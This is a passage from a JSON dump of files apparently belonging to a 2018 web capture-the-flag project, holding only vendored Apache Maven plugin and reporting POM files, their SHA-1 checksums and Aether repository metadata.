<groupId>org.slf4j</groupId>\n      <artifactId>jcl-over-slf4j</artifactId>\n      <version>1.6.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>commons-lang</groupId>\n      <artifactId>commons-lang</artifactId>\n      <version>2.5</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>commons-io</groupId>\n      <artifactId>commons-io</artifactId>\n      <version>1.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.plugin-testing</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>2.0-alpha-1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>${mavenPluginPluginVersion}</version>\n      </plugin>\n    </plugins>\n  </reporting>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n  <properties>\n    <plexusVersion>1.5.4</plexusVersion>\n    <pmdPluginVersion>2.7.1</pmdPluginVersion>\n    <doxiaSitetoolsVersion>1.4</doxiaSitetoolsVersion>\n    <maven.site.path>plugins-archives/${project.artifactId}-LATEST</maven.site.path>\n    <mavenVersion>3.0</mavenVersion>\n    <scmVersion>1.4</scmVersion>\n    <wagonVersion>1.0</wagonVersion>\n    <prerequisiteMavenVersion>2.2.1</prerequisiteMavenVersion>\n    <checkstylePluginVersion>2.5</checkstylePluginVersion>\n    <projectInfoReportsPluginVersion>2.4</projectInfoReportsPluginVersion>\n    <javadocPluginVersion>2.8.1</javadocPluginVersion>\n    <mavenPluginPluginVersion>3.2</mavenPluginPluginVersion>\n    <doxiaVersion>1.4</doxiaVersion>\n  </properties>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-site-plugin/3.3/maven-site-plugin-3.3.pom.sha1",
    "content": "e790e7e93471cf9245706d76747f4653dd58c0e7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-surefire-plugin/2.17/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:07 CST 2018\nmaven-surefire-plugin-2.17.jar>central=\nmaven-surefire-plugin-2.17.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-surefire-plugin/2.17/maven-surefire-plugin-2.17.jar.sha1",
    "content": "987afb42ca6011da68c3908a926e456b6aed01ff"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-surefire-plugin/2.17/maven-surefire-plugin-2.17.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.surefire</groupId>\n    <artifactId>surefire</artifactId>\n    <version>2.17</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.plugins</groupId>\n  <artifactId>maven-surefire-plugin</artifactId>\n  <packaging>maven-plugin</packaging>\n\n  <name>Maven Surefire Plugin</name>\n\n  <prerequisites>\n    <maven>2.0.9</maven>\n  </prerequisites>\n\n  <properties>\n    <thisPlugin>Surefire</thisPlugin>\n    <thatPlugin>Failsafe</thatPlugin>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.surefire</groupId>\n      <artifactId>maven-surefire-common</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.surefire</groupId>\n      <artifactId>surefire-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-toolchain</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.plugin-tools</groupId>\n      <artifactId>maven-plugin-annotations</artifactId>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <configuration>\n          <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>\n        </configuration>\n        <executions>\n          <execution>\n            <id>mojo-descriptor</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n          <execution>\n            <id>help-goal</id>\n            <goals>\n              <goal>helpmojo</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <dependencies>\n          <dependency>\n            <groupId>org.apache.maven.surefire</groupId>\n            <artifactId>surefire-shadefire</artifactId>\n            <version>${shadedVersion}</version>\n          </dependency>\n        </dependencies>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>build-site</id>\n            <phase>package</phase>\n            <goals>\n              <goal>single</goal>\n            </goals>\n            <configuration>\n              <attach>true</attach>\n              <classifier>site-source</classifier>\n              <descriptors>\n                <descriptor>src/assembly/site-source.xml</descriptor>\n              </descriptors>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>${mavenPluginPluginVersion}</version>\n        <configuration>\n          <requirements>\n            <jdk>1.4</jdk>\n          </requirements>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <activation>\n        <property>\n          <name>enableCiProfile</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-docck-plugin</artifactId>\n            <version>1.0</version>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-surefire-plugin/2.17/maven-surefire-plugin-2.17.pom.sha1",
    "content": "bb4da76cc54b1788403380d8bfbb089dbfa7079d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-war-plugin/2.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:46 CST 2018\nmaven-war-plugin-2.2.jar>central=\nmaven-war-plugin-2.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-war-plugin/2.2/maven-war-plugin-2.2.jar.sha1",
    "content": "aa592f899315b961136c43ef8219024d3143bf78"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-war-plugin/2.2/maven-war-plugin-2.2.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>maven-plugins</artifactId>\n    <groupId>org.apache.maven.plugins</groupId>\n    <version>22</version>\n    <relativePath>../maven-plugins/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven-war-plugin</artifactId>\n  <version>2.2</version>\n  <packaging>maven-plugin</packaging>\n\n  <name>Maven WAR Plugin</name>\n  <description>Builds a Web Application Archive (WAR) file from the project output and its dependencies.</description>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-war-plugin-2.2</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-war-plugin-2.2</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugins/tags/maven-war-plugin-2.2</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/MWAR</url>\n  </issueManagement>\n\n  <properties>\n    <mavenArchiverVersion>2.5</mavenArchiverVersion>\n    <mavenFilteringVersion>1.0-beta-2</mavenFilteringVersion>\n    <mavenVersion>2.0.6</mavenVersion>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-monitor</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-archiver</artifactId>\n      <version>${mavenArchiverVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-io</artifactId>\n      <version>2.0.2</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-archiver</artifactId>\n      <version>2.1</version>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-container-default</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-api</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.15</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9-stable-1</version>\n    </dependency>\n\n    <dependency>\n      <groupId>com.thoughtworks.xstream</groupId>\n      <artifactId>xstream</artifactId>\n      <version>1.3.1</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>3.0</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-filtering</artifactId>\n      <version>${mavenFilteringVersion}</version>\n    </dependency>\n\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.plugin-testing</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>1.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <profiles>\n    <profile>\n      <id>run-its</id>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-invoker-plugin</artifactId>\n              <configuration>\n                <projectsDirectory>src/it</projectsDirectory>\n                <pomIncludes>\n                  <pomInclude>*/pom.xml</pomInclude>\n                </pomIncludes>\n                <postBuildHookScript>verify</postBuildHookScript>\n                <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n                <goals>\n                  <goal>clean</goal>\n                  <goal>package</goal>\n                </goals>\n                <settingsFile>src/it/settings.xml</settingsFile>\n                <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n              </configuration>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-war-plugin/2.2/maven-war-plugin-2.2.pom.sha1",
    "content": "4871ffc2d7ade569f081a8da397675da64a63e6f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:34 CST 2018\nmaven-reporting-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.6/maven-reporting-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.maven.reporting</groupId>\n  <artifactId>maven-reporting</artifactId>\n  <packaging>pom</packaging>\n  <name>Maven Reporting</name>\n  <inceptionYear>2005</inceptionYear>\n  <modules>\n    <module>maven-reporting-api</module>\n  </modules>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.6/maven-reporting-2.0.6.pom.sha1",
    "content": "0257fe61312283ef58817edf197e9c90db0bba25"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:22 CST 2018\nmaven-reporting-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.9/maven-reporting-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.maven.reporting</groupId>\n  <artifactId>maven-reporting</artifactId>\n  <packaging>pom</packaging>\n  <name>Maven Reporting</name>\n  <inceptionYear>2005</inceptionYear>\n  <modules>\n    <module>maven-reporting-api</module>\n  </modules>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.0.9/maven-reporting-2.0.9.pom.sha1",
    "content": "92fc48457601be497488cc316bc3617326977a24"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:47 CST 2018\nmaven-reporting-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.2.1/maven-reporting-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <groupId>org.apache.maven.reporting</groupId>\n  <artifactId>maven-reporting</artifactId>\n  <packaging>pom</packaging>\n\n  <name>Maven Reporting</name>\n  <inceptionYear>2005</inceptionYear>\n\n  <modules>\n    <module>maven-reporting-api</module>\n  </modules>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting/2.2.1/maven-reporting-2.2.1.pom.sha1",
    "content": "c68c4978e03d8044ba074130178435a4df1bb3dc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-reporting-api-2.0.6.jar>central=\nmaven-reporting-api-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.jar.sha1",
    "content": "29ec352c90968c345b628be6c40ddfb5ec7010a8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven-reporting</artifactId>\n    <groupId>org.apache.maven.reporting</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-reporting-api</artifactId>\n  <name>Maven Reporting API</name>\n  <developers>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vincent.siveton@gmail.com</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n  </developers>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-sink-api</artifactId>\n      <version>1.0-alpha-7</version>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.6/maven-reporting-api-2.0.6.pom.sha1",
    "content": "8d8037467cc092dbaf1ca8b513172e2a893b5b9b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-reporting-api-2.0.9.jar>central=\nmaven-reporting-api-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.9/maven-reporting-api-2.0.9.jar.sha1",
    "content": "88c2303c3d1f54472cbd39cac11d9a4ad0afca25"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.9/maven-reporting-api-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven-reporting</artifactId>\n    <groupId>org.apache.maven.reporting</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-reporting-api</artifactId>\n  <name>Maven Reporting API</name>\n  <developers>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vincent.siveton@gmail.com</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n  </developers>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-sink-api</artifactId>\n      <version>1.0-alpha-10</version>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.0.9/maven-reporting-api-2.0.9.pom.sha1",
    "content": "bc210876e266e2f3153e96832cbdc5cd3ba53cba"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:47 CST 2018\nmaven-reporting-api-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.2.1/maven-reporting-api-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.reporting</groupId>\n    <artifactId>maven-reporting</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-reporting-api</artifactId>\n\n  <name>Maven Reporting API</name>\n\n  <developers>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vincent.siveton@gmail.com</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n  </developers>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-sink-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-logging-api</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/2.2.1/maven-reporting-api-2.2.1.pom.sha1",
    "content": "54d326154c3a5befd2fee3ff054ffc8cea635c54"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-reporting-api-3.0.pom>central=\nmaven-reporting-api-3.0.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.jar.sha1",
    "content": "b2541dd07d08cd5eff9bd4554a2ad6a4198e2dfe"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.pom",
